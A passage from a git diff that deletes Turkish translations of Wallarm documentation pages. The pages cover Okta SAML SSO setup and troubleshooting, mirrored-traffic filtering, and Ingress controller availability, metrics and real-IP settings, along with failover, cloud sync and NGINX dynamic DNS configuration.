iletilmesi gereken Wallarm metadata’sını gözden geçirin. - - ![Wallarm metadata’sı][img-sp-metadata] - - * **Wallarm Entity ID**, kimlik sağlayıcı için Wallarm uygulaması tarafından oluşturulan benzersiz uygulama tanımlayıcısıdır. - * **Assertion Consumer Service URL (ACS URL)**, kimlik sağlayıcının SamlResponse parametresiyle istekleri gönderdiği, uygulamanın Wallarm tarafındaki adresidir. - -1. Metadata’yı kopyalayın veya XML olarak kaydedin. - -## Adım 3 (Okta): Uygulamayı yapılandırın - -Okta’da uygulamayı yapılandırmak için: - -1. Okta’ya yönetici olarak giriş yapın. -1. **Applications** → **Applications** → **Create App Integration** seçeneğine tıklayın. - - ![Okta panosu][img-dashboard] - -1. **Sign‑on method** → “SAML 2.0” olarak ayarlayın. -1. Devam edin ve **Create SAML Integration** sihirbazında **App Name** ve isteğe bağlı olarak **App logo** gibi genel entegrasyon ayarlarını yapın. - - ![Genel ayarlar][img-general] - -1. Devam edin ve Wallarm metadata’sını girin. Zorunlu alanlar: - - * **Single sign‑on URL** = Wallarm’daki **Assertion Consumer Service URL (ACS URL)**. - * **Audience URI (SP Entity ID)** = Wallarm’daki **Wallarm Entity ID**. - - ![SAML yapılandırma][img-saml] - -1. İsteğe bağlı olarak, [Okta belgelerinde][link-okta-docs] açıklanan diğer parametreleri ayarlayın. - - ![SAML ayarları önizlemesi][img-saml-preview] - -1. Devam edin ve **Are you a customer or partner** değerini "I'm an Okta customer adding an internal app" olarak ayarlayın. -1. İsteğe bağlı olarak, diğer parametreleri ayarlayın. - - ![Geri bildirim formu][img-feedback] - -1. **Finish**’e tıklayın. Oluşturulan uygulamanın sayfasına yönlendirileceksiniz. -1. Okta metadata’sını almak için **Sign On** sekmesine gidin ve aşağıdakilerden birini yapın: - - * **Identity Provider metadata**’ya tıklayın ve görüntülenen verileri XML olarak kaydedin. - * **View Setup instructions**’a tıklayın ve görüntülenen verileri kopyalayın. - -1. **Applications** → **Applications** → **Assign Users to App** yolunu izleyerek ve kullanıcıları uygulamaya atayarak, oluşturulan uygulamaya Okta kullanıcılarının erişimini sağlayın. - - ![Uygulamaya kullanıcı atama][img-assignments] - -## Adım 4 (Okta): Sağlamayı yapılandırın - -**Provisioning**, SAML SSO çözümünden (Okta) Wallarm’a verilerin otomatik aktarımıdır: Okta kullanıcılarınız ve onların grup üyelikleri, Wallarm’a erişimi ve oradaki izinleri belirler; tüm kullanıcı yönetimi Okta tarafında gerçekleştirilir. - -Bunun çalışması için, öznitelik eşlemesi sağlayın: - -1. Okta uygulamasında, **Applications** → **Applications** → **General** → **SAML Settings (Edit)** → **Next** adımlarına tıklayın. - -1. Öznitelik ifadelerini eşleyin: - - * email - user.email - * first_name - user.firstName - * last_name user.lastName - -1. Kullanıcı gruplarını `wallarm_role:[role]` değerine eşleyin; burada `role`: - - * `admin` (**Administrator**) - * `analytic` (**Analyst**) - * `api_developer` (**API Developer**) - * `auditor` (**Read Only**) - * `partner_admin` (**Global Administrator**) - * `partner_analytic` (**Global Analyst**) - * `partner_auditor` (**Global Read Only**) - - Tüm rol açıklamalarını [buradan](../../../user-guides/settings/users.md#user-roles) görebilirsiniz. - - ![Integrations - SSO, Okta’da eşleme](../../../images/admin-guides/configuration-guides/sso/okta/wallarm-sso-okta-mapping.png) - -1. Değişiklikleri kaydedin. - -## Adım 5 (Wallarm): Okta metadata’sını girin - -1. Wallarm Console’da, SSO yapılandırma sihirbazında **Upload metadata** adımına ilerleyin. -1. Aşağıdakilerden birini yapın: - - * Okta metadata’sını bir XML dosyası olarak yükleyin. - * Metadata’yı aşağıdaki gibi manuel girin: - - * **Identity Provider Single Sign‑On URL** → **Identity provider SSO URL**. - * **Identity Provider Issuer** → **Identity provider issuer**. - * **X.509 Certificate** → **X.509 Certificate** alanı. - - ![Metadata’yı manuel girme][img-transfer-metadata-manually] - -1. SSO yapılandırma sihirbazını tamamlayın. Wallarm, verilerin Okta’nızla artık alınıp gönderilemediğini test edecektir. - -## Adım 6 (Wallarm): Sağlamayı yapılandırın (ATLAYIN) - -Okta için, Wallarm tarafındaki bu adım atlanmalıdır. - -![SSO gruplarının Wallarm rollerine eşlenmesi - Wallarm’da eşleme](../../../images/admin-guides/configuration-guides/sso/sso-mapping-in-wallarm.png) - -Bir sonraki adıma geçin ve SSO yapılandırma sihirbazını tamamlayın. Wallarm, verilerin SAML SSO Çözümünüzle artık alınıp gönderilemediğini test edecektir. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/sso/troubleshooting.md b/docs/latest-tr/admin-en/configuration-guides/sso/troubleshooting.md deleted file mode 100644 index 9d472e8212..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/sso/troubleshooting.md +++ /dev/null @@ -1,27 +0,0 @@ -# SAML SSO Kimlik Doğrulaması Sorun Giderme - -Bu makale, Wallarm'ın [SAML SSO Kimlik Doğrulaması](intro.md) ile nasıl sorun giderileceğini açıklar. - -### SSO ve API kimlik doğrulaması - -Bir kullanıcı için SSO etkinleştirildiğinde, bu kullanıcının [Wallarm API'ye yapılan istekler](../../../api/overview.md#your-own-api-client) için kimlik doğrulaması kullanılamaz hale gelir. Çalışan API kimlik bilgileri almak için kullanılan SSO [seçeneklerine](intro.md#available-options) bağlı olarak farklı seçenekler vardır: - -* Provisioning açıkken veya kapalıyken ve strict SSO seçeneğiyle, **Administrator** rolüne sahip SSO kullanıcıları için API kimlik doğrulamasını etkinleştirebilirsiniz. Bunu yapmak için, bu kullanıcının menüsünden **Enable API access** öğesini seçin. Kullanıcı için `SSO+API` kimlik doğrulama yöntemi etkinleştirilir ve API belirteçleri oluşturulmasına izin verir. - - Daha sonra **Disable API access** seçerek kullanıcı için API kimlik doğrulamasını devre dışı bırakabilirsiniz. Bu yapılırsa, mevcut tüm API belirteçleri silinir ve bir hafta sonra kaldırılır. - -* Provisioning kapalıyken ve strict SSO kullanılmıyorsa, şirket hesabınız altında SSO seçeneği olmadan bir kullanıcı oluşturun ve [API belirteci(leri)](../../../api/overview.md#your-own-api-client) oluşturun. - -### Oturum açamama sorunları - -Kullanıcı SSO ile oturum açamazsa, aşağıdaki tabloda açıklanan hata kodlarından biriyle bir hata mesajı görüntülenir. Çoğu durumda, şirket hesabı yöneticisi bu hataları düzeltebilir: - -| Hata kodu | Açıklama | Nasıl düzeltilir | -|--|--|--| -| `saml_auth_not_found + userid` | Provisioning kapalı ve kullanıcının SSO’su etkin değil. | Wallarm Console → **Settings** → **Users** → kullanıcı menüsü → **Enable SSO** içinde SSO'yu etkinleştirin. | -| `saml_auth_not_found + clientid` | Müşterinin **Integrations** bölümünde bir SSO entegrasyonu yok. | [SAML SSO ile entegrasyon](intro.md) dokümantasyonundaki talimatları izleyin. | -| `invalid_saml_response` veya `no_mail_in_saml_response` | SSO sağlayıcısı beklenmeyen bir yanıt verdi. Bu, yanlış yapılandırılmış bir SSO entegrasyonunun işareti olabilir. | Aşağıdakilerden birini yapın:
            • Wallarm Console'un **Integrations** bölümünde yapılandırılmış SSO entegrasyonunda hata olmadığından emin olun.
            • SSO sağlayıcı tarafındaki yapılandırmada hata olmadığından emin olun.
            | -| `user_not_found` | Wallarm, belirtilen e-posta ile kullanıcıyı bulamadı. | Wallarm Console içinde bu e-postaya sahip bir kullanıcı oluşturun. | -| `client_not_found` | Şirket hesabı Wallarm’da bulunamadı. | Uygun bir e-posta etki alanına sahip bir kullanıcı hesabı oluşturun; bu, şirket hesabını hemen oluşturacaktır. | - - Gerekirse, yönetici bu hatalardan herhangi birini düzeltmek için yardım almak üzere [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçebilir. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/traffic-mirroring/overview.md b/docs/latest-tr/admin-en/configuration-guides/traffic-mirroring/overview.md deleted file mode 100644 index de8ef52363..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/traffic-mirroring/overview.md +++ /dev/null @@ -1,39 +0,0 @@ -# Yansıtılmış trafiğin filtrelenmesi - -Wallarm node dağıtım yaklaşımlarından biri, yansıtılmış HTTP trafiğinin filtrelenmesi için asenkron temelli bir dağıtımdır. Bu makale, bu dağıtımın uygulanması için gereken yapılandırma konusunda talimatlar verir ve bazı örnekler sunar. - -Trafik yansıtma, gelen özgün trafiğin paralel olarak birden fazla backend'e gönderilmesini sağlar. Wallarm node'u ek bir backend olarak kurmak, trafiğin yansımasını (kopyasını) müşteriler üzerinde hiçbir etki olmadan filtrelemenizi sağlar - gelen tüm istekler yine hedeflendikleri sunuculara ulaşır. - -Yansıtma seçeneği etkinleştirilmiş trafik akış diyagramı örneği: - -![Yansıtma şeması](../../../images/waf-installation/aws/terraform/wallarm-for-mirrored-traffic.png) - -## Yaklaşımın kullanım senaryaları - -Yansıtılmış trafiği filtrelemek için Wallarm node'unun kurulması şu amaçlar için yararlıdır: - -* Güvenlik çözümünün uygulamanın performansını etkilemeyeceğinden emin olmak. -* Modülü üretim sisteminde çalıştırmadan önce Wallarm çözümünü trafik kopyası üzerinde eğitmek. - -## Yansıtılmış trafik filtrelemenin sınırlamaları - -Bu dağıtım yaklaşımı güvenli olmakla birlikte, bazı sınırlamaları vardır: - -* Yalnızca NGINX tabanlı Wallarm node'ları yansıtılmış trafik filtrelemeyi destekler. -* Wallarm node, trafik analizi gerçek trafik akışından bağımsız olarak ilerlediği için kötü amaçlı istekleri anında engellemez. -* Wallarm, düğüm yalnızca gelen isteklerin kopyalarına sahip olduğundan ve sunucu yanıtları yansıtılamadığından uygulama ve API [zafiyetlerini](../../../about-wallarm/detecting-vulnerabilities.md) tespit etmez. -* Çözüm ek bir bileşen gerektirir - trafik yansıtma sağlayan web sunucusu veya benzer bir araç (örn. NGINX, Envoy, Istio, Traefik, özel Kong modülü vb.). - -## Yapılandırma - -Yansıtılmış trafiği filtrelemek için Wallarm'ı uygulamak: - -1. Gelen trafiği ek bir backend'e yansıtacak şekilde web sunucunuzu yapılandırın. -1. Wallarm node'u ek bir backend olarak [kurun](../../../installation/supported-deployment-options.md) ve yansıtılmış trafiği filtreleyecek şekilde yapılandırın. - -Trafik yansıtma birçok web sunucusu tarafından desteklenir. Aşağıdaki bağlantılarda, en popülerleri için **örnek yapılandırma**yı bulabilirsiniz: - -* [NGINX](nginx-example.md) -* [Traefik](traefik-example.md) -* [Envoy](envoy-example.md) -* [Istio](istio-example.md) \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md b/docs/latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md deleted file mode 100644 index db503c76c9..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md +++ /dev/null @@ -1,54 +0,0 @@ -# Yüksek Kullanılabilirlik Hususları (NGINX tabanlı Ingress controller) - -Bu makale, Wallarm Ingress controller'ın yüksek kullanılabilir olması ve kesintilerin önlenmesi için yapılandırma önerileri sunar. - ---8<-- "../include/ingress-controller-best-practices-intro.md" - -## Yapılandırma önerileri - -Aşağıdaki öneriler iş açısından kritik (üretim) ortamlar için geçerlidir. - -* Birden fazla Ingress controller pod örneği kullanın. Bu davranış `values.yaml` dosyasındaki `controller.replicaCount` özniteliği ile kontrol edilir. Örneğin: - ``` - controller: - replicaCount: 2 - ``` -* Kubernetes kümesini Ingress controller pod'larını farklı düğümlere yerleştirmeye zorlayın: bu, bir düğüm arızası durumunda Ingress servisinin dayanıklılığını artıracaktır. Bu davranış, `values.yaml` dosyasında yapılandırılan Kubernetes pod anti-affinity özelliği kullanılarak kontrol edilir. Örneğin: - ``` - controller: - affinity: - podAntiAffinity: - requiredDuringSchedulingIgnoredDuringExecution: - - labelSelector: - matchExpressions: - - key: app - operator: In - values: - - nginx-ingress - topologyKey: "kubernetes.io/hostname" - ``` -* Beklenmeyen trafik sıçramalarına veya [Kubernetes'in horizontal pod autoscaling (HPA)](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/) özelliğinin kullanımını haklı çıkarabilecek diğer koşullara maruz kalan kümelerde, bu özellik `values.yaml` dosyasında aşağıdaki örnek kullanılarak etkinleştirilebilir: - ``` - controller: - autoscaling: - enabled: true - minReplicas: 1 - maxReplicas: 11 - targetCPUUtilizationPercentage: 50 - targetMemoryUtilizationPercentage: 50 - ``` - -## Yapılandırma prosedürü - -Listelenen yapılandırmaları ayarlamak için `helm install` ve `helm upgrade` komutlarının `--set` seçeneğini kullanmanız önerilir; örneğin: - -=== "Ingress controller kurulumu" - ```bash - helm install --set controller.replicaCount=2 wallarm/wallarm-ingress -n - ``` - - Doğru Ingress controller kurulumu için gerekli [diğer parametreler](../../../configure-kubernetes-en.md#additional-settings-for-helm-chart) de vardır. Lütfen bunları da `--set` seçeneği ile iletin. -=== "Ingress controller parametrelerini güncelleme" - ```bash - helm upgrade --reuse-values --set controller.replicaCount=2 wallarm/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md b/docs/latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md deleted file mode 100644 index c40d0f2f64..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md +++ /dev/null @@ -1,102 +0,0 @@ -# NGINX tabanlı Ingress Controller İzleme - ---8<-- "../include/ingress-controller-best-practices-intro.md" - -NGINX Ingress Controller izlemenin genel yönleri internette zaten kapsamlı bir şekilde ele alınmıştır. Wallarm, kritik öneme sahip bir ortamda izlenmesi gereken ek bir izleme metrikleri kümesi sağlar. `/wallarm-metrics` metrik servisi varsayılan olarak devre dışıdır. - -Servisi etkinleştirmek için `controller.wallarm.metrics.enabled` değerini `true` olarak ayarlayın: - -``` -controller: - wallarm: - metrics: - enabled: true -``` - -Aşağıda, yeni açığa çıkarılan uç nokta üzerinden erişilebilen Prometheus formatındaki Wallarm’a özgü metriklerin listesi bulunmaktadır: - -``` -# HELP wallarm_requests istek sayısı -# TYPE wallarm_requests gauge -wallarm_requests 2 -# HELP wallarm_messages istek sayısı -# TYPE wallarm_messages gauge -wallarm_messages 0 -# HELP wallarm_attacks saldırı istek sayısı -# TYPE wallarm_attacks gauge -wallarm_attacks 0 -# HELP wallarm_blocked engellenen istek sayısı -# TYPE wallarm_blocked gauge -wallarm_blocked 0 -# HELP wallarm_blocked_by_acl ACL tarafından engellenen istek sayısı -# TYPE wallarm_blocked_by_acl gauge -wallarm_blocked_by_acl 0 -# HELP wallarm_acl_allow_list allow list tarafından geçirilen istek sayısı -# TYPE wallarm_acl_allow_list gauge -wallarm_acl_allow_list 0 -# HELP wallarm_abnormal anormal istek sayısı -# TYPE wallarm_abnormal gauge -wallarm_abnormal 2 -# HELP wallarm_tnt_errors wstore yazma hatası sayısı -# TYPE wallarm_tnt_errors gauge -wallarm_tnt_errors 0 -# HELP wallarm_api_errors API yazma hatası sayısı -# TYPE wallarm_api_errors gauge -wallarm_api_errors 0 -# HELP wallarm_requests_lost kaybolan istek sayısı -# TYPE wallarm_requests_lost gauge -wallarm_requests_lost 0 -# HELP wallarm_overlimits_time overlimits_time sayısı -# TYPE wallarm_overlimits_time gauge -wallarm_overlimits_time 0 -# HELP wallarm_segfaults segmentation fault sayısı -# TYPE wallarm_segfaults gauge -wallarm_segfaults 0 -# HELP wallarm_memfaults vmem sınırına ulaşma olay sayısı -# TYPE wallarm_memfaults gauge -wallarm_memfaults 0 -# HELP wallarm_softmemfaults istek bellek sınırına ulaşma olay sayısı -# TYPE wallarm_softmemfaults gauge -wallarm_softmemfaults 0 -# HELP wallarm_proton_errors libproton’da bellekle ilişkili olmayan hatalar olay sayısı -# TYPE wallarm_proton_errors gauge -wallarm_proton_errors 0 -# HELP wallarm_time_detect_seconds tespit için harcanan süre -# TYPE wallarm_time_detect_seconds gauge -wallarm_time_detect_seconds 0 -# HELP wallarm_db_id proton.db dosya kimliği -# TYPE wallarm_db_id gauge -wallarm_db_id 71 -# HELP wallarm_lom_id LOM dosya kimliği -# TYPE wallarm_lom_id gauge -wallarm_lom_id 386 -# HELP wallarm_custom_ruleset_id Custom Ruleset dosya kimliği -# TYPE wallarm_custom_ruleset_id gauge -wallarm_custom_ruleset_id{format="51"} 386 -# HELP wallarm_custom_ruleset_ver Custom Ruleset dosya formatı sürümü -# TYPE wallarm_custom_ruleset_ver gauge -wallarm_custom_ruleset_ver 51 -# HELP wallarm_db_apply_time proton.db dosya uygulanma zamanı kimliği -# TYPE wallarm_db_apply_time gauge -wallarm_db_apply_time 1674548649 -# HELP wallarm_lom_apply_time LOM dosya uygulanma zamanı -# TYPE wallarm_lom_apply_time gauge -wallarm_lom_apply_time 1674153198 -# HELP wallarm_custom_ruleset_apply_time Custom Ruleset dosya uygulanma zamanı -# TYPE wallarm_custom_ruleset_apply_time gauge -wallarm_custom_ruleset_apply_time 1674153198 -# HELP wallarm_proton_instances proton örnek sayısı -# TYPE wallarm_proton_instances gauge -wallarm_proton_instances{status="success"} 5 -wallarm_proton_instances{status="fallback"} 0 -wallarm_proton_instances{status="failed"} 0 -# HELP wallarm_stalled_worker_time_seconds bir worker’ın libproton içinde takılı kaldığı süre -# TYPE wallarm_stalled_worker_time_seconds gauge -wallarm_stalled_worker_time_seconds{pid="3169104"} 25 - -# HELP wallarm_startid benzersiz başlangıç kimliği -# TYPE wallarm_startid gauge -wallarm_startid 3226376659815907920 -``` - -İzleme kurulumu ve mevcut metriklerin listesi hakkında ayrıntılı bilgi bu [belgelendirmede](../../../configure-statistics-service.md) sağlanmaktadır. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md b/docs/latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md deleted file mode 100644 index 2b6a714a87..0000000000 --- a/docs/latest-tr/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md +++ /dev/null @@ -1,35 +0,0 @@ -# Uç Kullanıcının Genel IP Adresinin Doğru Bildirilmesi (NGINX tabanlı Ingress denetleyicisi) - -Bu talimatlar, bir denetleyici bir yük dengeleyicinin arkasına yerleştirildiğinde istemcinin (uç kullanıcının) kaynak IP adresini belirlemek için gereken Wallarm Ingress controller yapılandırmasını açıklar. - -Varsayılan olarak, Ingress denetleyicisi doğrudan İnternet'e açık olduğunu ve bağlanan istemcilerin IP adreslerinin gerçek IP'leri olduğunu varsayar. Ancak, istekler Ingress denetleyicisine gönderilmeden önce bir yük dengeleyiciden (ör. AWS ELB veya Google Network Load Balancer) geçirilebilir. - -Denetleyici bir yük dengeleyicinin arkasına yerleştirildiğinde, Ingress denetleyicisi yük dengeleyicinin IP'sini gerçek uç kullanıcı IP'si olarak kabul eder; bu da [bazı Wallarm özelliklerinin hatalı çalışmasına](../../../using-proxy-or-balancer-en.md#possible-problems-of-using-a-proxy-server-or-load-balancer-ip-address-as-a-request-source-address) yol açabilir. Doğru uç kullanıcı IP adreslerini Ingress denetleyicisine bildirmek için lütfen denetleyiciyi aşağıda açıklandığı şekilde yapılandırın. - -## Adım 1: Ağ katmanında gerçek istemci IP'sinin iletilmesini etkinleştirin - -Bu özellik büyük ölçüde kullanılan bulut platformuna bağlıdır; çoğu durumda, `values.yaml` dosyasındaki `controller.service.externalTrafficPolicy` özelliğini `Local` değerine ayarlayarak etkinleştirilebilir: - -``` -controller: - service: - externalTrafficPolicy: "Local" -``` - -## Adım 2: Ingress denetleyicisinin X-FORWARDED-FOR HTTP istek başlığından değeri almasını etkinleştirin - -Genellikle, yük dengeleyiciler, orijinal istemci IP adresini içeren [`X-Forwarded-For`](https://en.wikipedia.org/wiki/X-Forwarded-For) HTTP başlığını ekler. Kesin başlık adını yük dengeleyicinizin dokümantasyonunda bulabilirsiniz. - -Wallarm Ingress controller, `values.yaml` aşağıdaki gibi yapılandırılmışsa gerçek uç kullanıcı IP adresini bu başlıktan alabilir: - -``` -controller: - config: - enable-real-ip: "true" - forwarded-for-header: "X-Forwarded-For" -``` - -- [`enable-real-ip` parametresi hakkında dokümantasyon](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#enable-real-ip) -- [`forwarded-for-header`](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#forwarded-for-header) parametresinde, orijinal istemci IP adresini içeren yük dengeleyici başlığının adını belirtin - ---8<-- "../include/ingress-controller-best-practices-intro.md" \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configure-backup-en.md b/docs/latest-tr/admin-en/configure-backup-en.md deleted file mode 100644 index 11f4a8baf2..0000000000 --- a/docs/latest-tr/admin-en/configure-backup-en.md +++ /dev/null @@ -1,28 +0,0 @@ -# Bir Failover Yönteminin Yapılandırılması - -Bir filtre düğümünü bir [ters proxy](../glossary-en.md#reverse-proxy) olarak dağıtmak, filtre düğümünün yüksek erişilebilir olmasını gerektirir. Örneğin elektrik kesintisi nedeniyle filtre düğümünün arızalanması, API'nin çalışmasını kısıtlar. Wallarm'ın yüksek erişilebilirliğini sağlamak için, bu bölümde açıklanan failover yöntemlerinden birini kullanmanız önerilir. - -Bir failover yöntemi, ana filtre düğümü arızalanırsa trafiğin otomatik olarak yönlendirileceği ek düğümler ekler. - -## Veri Merkezi Failover'ı - -API'niz ve filtre düğümleriniz bir veri merkezindeyse, veri merkezinin "Failover IP" hizmetini kullanın - -## VRRP veya CARP - -Her filtre düğümünde, düğümlerin erişilebilirliğini izleyen ve düğümler devre dışı kalırsa trafiği iletmeye başlayan bir `keepalived` veya `ucarp` daemon'u başlatın. Bu, her düğümde bir failover‑IP başlatarak ve trafiği DNS dengelemesiyle dağıtarak trafik yük dengeleme için de kullanılabilen standart bir yüksek erişilebilirlik yöntemidir. - -!!! info "NGINX Plus ile çalışma" - Wallarm, özel bir VRRP sarmalayıcı ile [NGINX Plus](https://www.nginx.com/products/nginx/) üzerinde çalışacak şekilde yapılandırılabilir. - - CentOS ve Debian dahil çoğu Linux dağıtımı, bu derlemeyi kurabilen özel paketlere sahiptir. - - NGINX Plus ile Wallarm kurulumu hepsi bir arada yükleyici kullanılarak gerçekleştirilir, ayrıntılı talimatlar için [buraya](../installation/nginx/all-in-one.md) bakın. - -## Donanım L3 veya L4 Yük Dengeleyici - -Katman 3 veya katman 4 bir yük dengeleyici, iyi bir yüksek erişilebilirlik çözümüdür. - -## DNS Yük Dengeleme - -DNS ayarlarında birden fazla IP adresi belirtin. Bu yöntem esasen yük dengelemeyi hedeflese de, yüksek erişilebilirlik yöntemi olarak da faydalı bulabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configure-cloud-node-synchronization-en.md b/docs/latest-tr/admin-en/configure-cloud-node-synchronization-en.md deleted file mode 100644 index a8a7dae5af..0000000000 --- a/docs/latest-tr/admin-en/configure-cloud-node-synchronization-en.md +++ /dev/null @@ -1,54 +0,0 @@ -# Wallarm düğümü ile Cloud arasındaki eşzamanlamayı yapılandırma - -Filtreleme düğümü, şunlar için düzenli olarak Wallarm Cloud ile eşzamanlanır: - -* [trafik işleme kuralları (LOM)](../user-guides/rules/rules.md) güncellemelerini almak -* [proton.db](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors) güncellemelerini almak -* Tespit edilen saldırılar ve güvenlik açıklarına ilişkin verileri göndermek -* İşlenen trafik için metrikleri göndermek - -Bu talimatlar, filtreleme düğümü ile Wallarm Cloud arasındaki eşzamanlamayı yapılandırmak için kullanılan parametreleri ve yöntemleri açıklar. - -## Erişim parametreleri - -Filtreleme düğümünün Cloud’a erişmesini sağlayan filtreleme düğümü adı, UUID ve Wallarm API gizli anahtarı gibi parametreler `node.yaml` içinde açıkça ayarlanır. Bu dosya `register-node` betiği tarafından otomatik olarak oluşturulur. - -* Docker NGINX tabanlı imaj, cloud imajları, NGINX Node all-in-one installer ve Native Node kurulumları için, dosyayı `/opt/wallarm/etc/wallarm/node.yaml` konumunda bulun, aksi belirtilmedikçe [`wallarm_api_conf`](configure-parameters-en.md#wallarm_api_conf) direktifi ile geçersiz kılınır. -* Diğer kurulumlar için, `node.yaml` konumu değişebilir veya [`wallarm_api_conf`](configure-parameters-en.md#wallarm_api_conf) direktifi ile geçersiz kılınabilir. Dosyayı bulmak için arama yapın veya `wallarm_api_conf` değerini kontrol edin. - -`node.yaml` dosyası aşağıdaki erişim parametrelerini içerebilir: - -| Parametre | Açıklama | Varsayılan değer | -| --------- | ----------- | ------------- | -| `api.regtoken` | Düğümün Wallarm API'ye erişebilmesi için belirteç. | `register-node` tarafından sağlanır | -| `api.uuid` | Filtreleme düğümü UUID'si. Bu değişkenin `node.yaml` dosyasında **ayarlanması zorunludur**. | `regtoken` tarafından sağlanır | -| `api.secret` | Wallarm API'ye erişmek için gizli anahtar. Bu değişkenin `node.yaml` dosyasında **ayarlanması zorunludur**. | `regtoken` tarafından sağlanır | -| `api.host` | Wallarm API uç noktası. Şunlar olabilir:
            • US Cloud için `us1.api.wallarm.com`
            • EU Cloud için `api.wallarm.com`
            | `api.wallarm.com` | -| `api.port` | Wallarm API portu. | `443` | -| `api.use_ssl` | Wallarm API'ye bağlanırken SSL kullanılıp kullanılmayacağı. | `true` | -| `api.ca_verify` | Wallarm API sunucusu sertifika doğrulamasını etkinleştirip/devre dışı bırakma. Şunlar olabilir:
            • Doğrulamayı etkinleştirmek için `true`
            • Doğrulamayı devre dışı bırakmak için `false`
            . | `true` | - -Eşzamanlama parametrelerini değiştirmek için şu adımları izleyin: - -1. Gerekli parametreleri ekleyip onlara istenen değerleri atayarak `node.yaml` dosyasında değişiklik yapın. -1. Güncellenen ayarları eşzamanlama sürecine uygulamak için NGINX’i yeniden başlatın: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -## Eşzamanlama aralığı - -Varsayılan olarak, filtreleme düğümü Wallarm Cloud ile her 120‑240 saniyede (2‑4 dakika) bir eşzamanlanır. Eşzamanlama aralığını `WALLARM_SYNCNODE_INTERVAL` sistem ortam değişkeni ile değiştirebilirsiniz. - -Filtreleme düğümü ile Wallarm Cloud eşzamanlamaları arasındaki aralığı değiştirmek için: - -1. `/etc/environment` dosyasını açın. -2. `WALLARM_SYNCNODE_INTERVAL` değişkenini dosyaya ekleyin ve değişkene saniye cinsinden istenen değeri atayın. Değer, varsayılan değerden (`120` saniye) küçük olamaz. Örneğin: - - ```bash - WALLARM_SYNCNODE_INTERVAL=800 - ``` -3. Değiştirilen `/etc/environment` dosyasını kaydedin. Yeni aralık değeri eşzamanlama işlemine otomatik olarak uygulanacaktır. - -## Yapılandırma örneği - ---8<-- "../include/node-cloud-sync-configuration-example-5.x.md" \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configure-dynamic-dns-resolution-nginx.md b/docs/latest-tr/admin-en/configure-dynamic-dns-resolution-nginx.md deleted file mode 100644 index 277aac34fb..0000000000 --- a/docs/latest-tr/admin-en/configure-dynamic-dns-resolution-nginx.md +++ /dev/null @@ -1,33 +0,0 @@ -# NGINX'te dinamik DNS çözümlemesini yapılandırma - -Alan adı, NGINX yapılandırma dosyasındaki `proxy_pass` yönergesinde belirtilmişse, NGINX başlatıldıktan sonra ana makinenin IP adresini yalnızca bir kez çözümler. DNS sunucusu ana makinenin IP adresini değiştirirse, NGINX yeniden yüklenip başlatılana kadar eski IP adresini kullanmaya devam eder. Bu süre zarfında NGINX istekleri yanlış IP adresine gönderecektir. - -Örneğin: - -```bash -location / { - proxy_pass https://demo-app.com; - include proxy_params; - } -``` - -Dinamik DNS çözümlemesi için `proxy_pass` yönergesinin değerini bir değişken olarak tanımlayabilirsiniz. Bu durumda, NGINX değişkeni hesaplarken [`resolver`](https://nginx.org/en/docs/http/ngx_http_core_module.html#resolver) yönergesinde ayarlanmış DNS adresini kullanır. - -!!! warning "Dinamik DNS çözümlemesinin trafik işleme üzerindeki etkisi" - * `resolver` yönergesinin ve `proxy_pass` yönergesinde bir değişkenin kullanıldığı NGINX yapılandırması, istek işlemeyi yavaşlatır; çünkü istek işleme sırasında dinamik DNS çözümlemesine ilişkin ek bir adım bulunur. - * NGINX, alan adını yaşam süresi (TTL) dolduğunda yeniden çözümler. `resolver` yönergesine `valid` parametresini ekleyerek NGINX'e TTL'i yok saymasını ve bunun yerine adları belirli bir sıklıkta yeniden çözmesini söyleyebilirsiniz. - * DNS sunucusu erişilemez durumdaysa, NGINX trafiği işlemez. - -Örneğin: - -```bash -location / { - resolver 172.43.1.2 valid=10s; - set $backend https://demo-app.com$uri$is_args$args; - proxy_pass $backend; - include proxy_params; - } -``` - -!!! info "NGINX Plus'ta dinamik DNS çözümlemesi" - NGINX Plus, alan adlarının dinamik çözümlemesini varsayılan olarak destekler. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configure-kubernetes-en.md b/docs/latest-tr/admin-en/configure-kubernetes-en.md deleted file mode 100644 index 85ef5913ca..0000000000 --- a/docs/latest-tr/admin-en/configure-kubernetes-en.md +++ /dev/null @@ -1,600 +0,0 @@ -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - -# NGINX tabanlı Wallarm Ingress Controller'ın İnce Ayarı - -Wallarm çözümünden en iyi şekilde yararlanmak için self-hosted Wallarm Ingress controller için mevcut ince ayar seçeneklerini öğrenin. - -!!! info "NGINX Ingress Controller için resmi dokümantasyon" - Wallarm Ingress Controller'ın ince ayarı, [resmi dokümantasyonda](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/) açıklanan NGINX Ingress Controller'ın ince ayarına oldukça benzerdir. Wallarm ile çalışırken orijinal NGINX Ingress Controller'ı 